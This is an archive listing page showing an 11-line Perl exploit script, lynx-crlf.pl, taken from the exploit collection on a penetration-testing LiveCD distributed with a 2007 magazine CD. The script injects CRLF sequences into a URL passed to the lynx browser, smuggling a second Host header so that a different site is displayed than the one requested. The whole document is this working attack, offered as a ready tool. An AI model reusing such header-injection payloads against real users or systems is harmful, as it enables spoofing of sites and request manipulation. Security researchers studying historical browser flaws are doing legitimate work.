home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webbrowser / lynx / lynx-crlf.pl < prev   
Perl Script  |  2005-02-12  |  261b  |  11 lines
  1. #!/usr/bin/perl --
  2. # Ulf Harnhammar 2002
  3. # example: ./exploit www.site1.st www.site2.st
  4. # will show www.site2.st
  5.  
  6. die "$0 hostone hosttwo\n" if @ARGV != 2;
  7.  
  8. exec('lynx "'.
  9.      "http://$ARGV[0]/ HTTP/1.0\012".
  10.      "Host: $ARGV[1]\012\012".
  11.      '"');